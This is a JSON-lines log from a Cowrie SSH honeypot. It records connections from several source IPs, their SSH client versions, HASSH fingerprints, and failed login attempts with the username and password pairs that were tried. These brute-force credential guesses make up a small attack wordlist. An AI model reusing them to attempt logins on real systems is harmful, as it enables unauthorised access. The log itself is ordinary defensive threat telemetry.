{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62818,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f4615c6877","protocol":"ssh","message":"New connection: 213.209.159.158:62818 (10.17.0.5:22) [session: 00f4615c6877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:38.214317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:40.526559Z","src_ip":"213.209.159.158","session":"00f4615c6877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:40.565631Z","src_ip":"213.209.159.158","session":"00f4615c6877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sha^5$3","message":"login attempt [root/sha^5$3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:50.733453Z","src_ip":"213.209.159.158","session":"00f4615c6877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:54.020581Z","src_ip":"213.209.159.158","session":"00f4615c6877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":28520,"dst_ip":"10.17.0.5","dst_port":22,"session":"4427652ef674","protocol":"ssh","message":"New connection: 213.209.159.158:28520 (10.17.0.5:22) [session: 4427652ef674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:54.122433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:56.312343Z","src_ip":"213.209.159.158","session":"4427652ef674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:56.316202Z","src_ip":"213.209.159.158","session":"4427652ef674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siton-123","message":"login attempt [root/siton-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:06.548790Z","src_ip":"213.209.159.158","session":"4427652ef674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:09.951952Z","src_ip":"213.209.159.158","session":"4427652ef674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63710,"dst_ip":"10.17.0.5","dst_port":22,"session":"c98bfd16afde","protocol":"ssh","message":"New connection: 213.209.159.158:63710 (10.17.0.5:22) [session: c98bfd16afde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:10.037256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:12.697891Z","src_ip":"213.209.159.158","session":"c98bfd16afde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:12.701874Z","src_ip":"213.209.159.158","session":"c98bfd16afde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42794,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dbdaec3410f","protocol":"ssh","message":"New connection: 103.15.226.202:42794 (10.17.0.5:22) [session: 5dbdaec3410f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:14.596390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:14.601282Z","src_ip":"103.15.226.202","session":"5dbdaec3410f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:14.847332Z","src_ip":"103.15.226.202","session":"5dbdaec3410f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"searcher","password":"Centos123!","message":"login attempt [searcher/Centos123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:15.583271Z","src_ip":"103.15.226.202","session":"5dbdaec3410f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:16.831909Z","src_ip":"103.15.226.202","session":"5dbdaec3410f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sigmund_123","message":"login attempt [root/Sigmund_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:22.578220Z","src_ip":"213.209.159.158","session":"c98bfd16afde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:26.278147Z","src_ip":"213.209.159.158","session":"c98bfd16afde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24126,"dst_ip":"10.17.0.5","dst_port":22,"session":"43f595daa1d8","protocol":"ssh","message":"New connection: 213.209.159.158:24126 (10.17.0.5:22) [session: 43f595daa1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:26.358256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:28.700740Z","src_ip":"213.209.159.158","session":"43f595daa1d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:28.705408Z","src_ip":"213.209.159.158","session":"43f595daa1d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":43266,"dst_ip":"10.17.0.5","dst_port":22,"session":"0be9425fa81c","protocol":"ssh","message":"New connection: 176.65.132.23:43266 (10.17.0.5:22) [session: 0be9425fa81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:32.776862Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:32.781935Z","src_ip":"176.65.132.23","session":"0be9425fa81c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":43278,"dst_ip":"10.17.0.5","dst_port":22,"session":"2540bf450d25","protocol":"ssh","message":"New connection: 176.65.132.23:43278 (10.17.0.5:22) [session: 2540bf450d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:32.915623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:32.920514Z","src_ip":"176.65.132.23","session":"2540bf450d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:33.003094Z","src_ip":"176.65.132.23","session":"2540bf450d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"123456","message":"login attempt [adm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:33.170090Z","src_ip":"176.65.132.23","session":"2540bf450d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:34.256670Z","src_ip":"176.65.132.23","session":"2540bf450d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serveur","message":"login attempt [root/serveur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:38.698105Z","src_ip":"213.209.159.158","session":"43f595daa1d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:42.002635Z","src_ip":"213.209.159.158","session":"43f595daa1d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50786,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3a139687d42","protocol":"ssh","message":"New connection: 213.209.159.158:50786 (10.17.0.5:22) [session: a3a139687d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:42.100868Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50952,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd006f68b12c","protocol":"ssh","message":"New connection: 2.57.122.208:50952 (10.17.0.5:22) [session: cd006f68b12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:42.550685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:42.555367Z","src_ip":"2.57.122.208","session":"cd006f68b12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:42.823633Z","src_ip":"2.57.122.208","session":"cd006f68b12c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:43.625064Z","src_ip":"2.57.122.208","session":"cd006f68b12c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:44.228263Z","src_ip":"213.209.159.158","session":"a3a139687d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:44.232083Z","src_ip":"213.209.159.158","session":"a3a139687d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:44.829916Z","src_ip":"2.57.122.208","session":"cd006f68b12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":54286,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce6a62d4f315","protocol":"ssh","message":"New connection: 179.61.232.245:54286 (10.17.0.5:22) [session: ce6a62d4f315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.770686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.775359Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
